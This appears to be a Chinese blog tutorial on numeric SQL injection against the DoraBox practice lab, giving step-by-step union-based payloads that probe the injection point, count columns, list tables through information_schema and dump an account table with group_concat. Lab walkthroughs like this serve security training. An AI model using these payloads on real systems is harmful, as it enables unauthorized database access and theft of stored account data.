天天看點

DoraBox-sql注入數字型

第一步:打開目标網站

DoraBox-sql注入數字型
DoraBox-sql注入數字型

在框中我們随便輸入1

DoraBox-sql注入數字型

第二步:and 1=1;and 1=2 測試注入點

1=1是永真表達式

而SELECT * FROM news WHERE id = 1 and 1=1隻有兩個語句SELECT * FROM news WHERE id = 1與1=1全都都為真,頁面才會正常顯示

DoraBox-sql注入數字型

1=2是永假表達式

而SELECT * FROM news WHERE id = 1 and 1=2隻有兩個語句SELECT * FROM news WHERE id = 1與1=2全都位真,頁面才會正常顯示,而因為1=2是假,是以頁面不正常顯示

DoraBox-sql注入數字型

說明,我們後面自己添加的 and 1=1與and 1=2都帶入資料庫中進行了執行,也就是說我們可以操控帶入資料庫中的SQL語句,想輸入什麼就輸入什麼。(隻要我們可以控制輸入,那麼可以搞事情了)

第三步:order by 判斷位數(也就是判斷目前頁面顯示的内容,在資料庫中是第幾列内容)

輸入order by 3,頁面正常顯示

DoraBox-sql注入數字型

輸入order by 4,頁面顯示不正常

DoraBox-sql注入數字型

總結,目前資料表中隻有3列内容

原理:select * from news order by 1 desc; 對news資料表中的第一列降序排列。

DoraBox-sql注入數字型

第四步:判斷顯示位

輸入1 union select 1,2,3,頁面正常顯示,

DoraBox-sql注入數字型

輸入-1 union select 1,2,3,爆出顯示位

DoraBox-sql注入數字型

原理:select * from news where id =1 union select 1,2,3;顯示出資料表中id=1的内容所在表中占第幾列,但是首先顯示的還是資料内容,是以故意輸入個不存在的ID,select * from news where id =-1 union select 1,2,3;這樣就不會有資料顯示資料表中,而直接顯示目前列數

DoraBox-sql注入數字型

第五步:檢視目前連接配接目标網站的使用者,以及資料庫版本,發現是root使用者,版本5.5.53

DoraBox-sql注入數字型

檢視目前資料庫的名字,發現是pentest

DoraBox-sql注入數字型

第六步:檢視pentest資料庫中全部的表名資訊,因為MYSQL資料庫版本是5.5.53在5.0以上,存在information_schema資料庫(information_schema資料庫中存在目前資料庫的所有資訊,比如:所有表名information_schema.tables,所有列名information_schema.columns,所有資料庫名table_schema)

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest’

DoraBox-sql注入數字型

擷取到pentest資料庫中全部的表:account、news

原理:

group_concat()函數作用:連接配接多列内容,以一行的形式展現,如下圖所示。

DoraBox-sql注入數字型

第七步:檢視pentest資料庫中account表中所有的列名。

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘pentest’ and table_name=‘account’

DoraBox-sql注入數字型

第八步:檢視pentest資料庫中account表中的字段資訊

1 union select 1,group_concat(id,’@’,rest,’@’,own),3 from pentest.account

注意:@符号作用是隔開兩個列的内容,友善檢視表中的資訊。

DoraBox-sql注入數字型

更多web安全工具與存在漏洞的網站搭建源碼,收集整理在知識星球。

DoraBox-sql注入數字型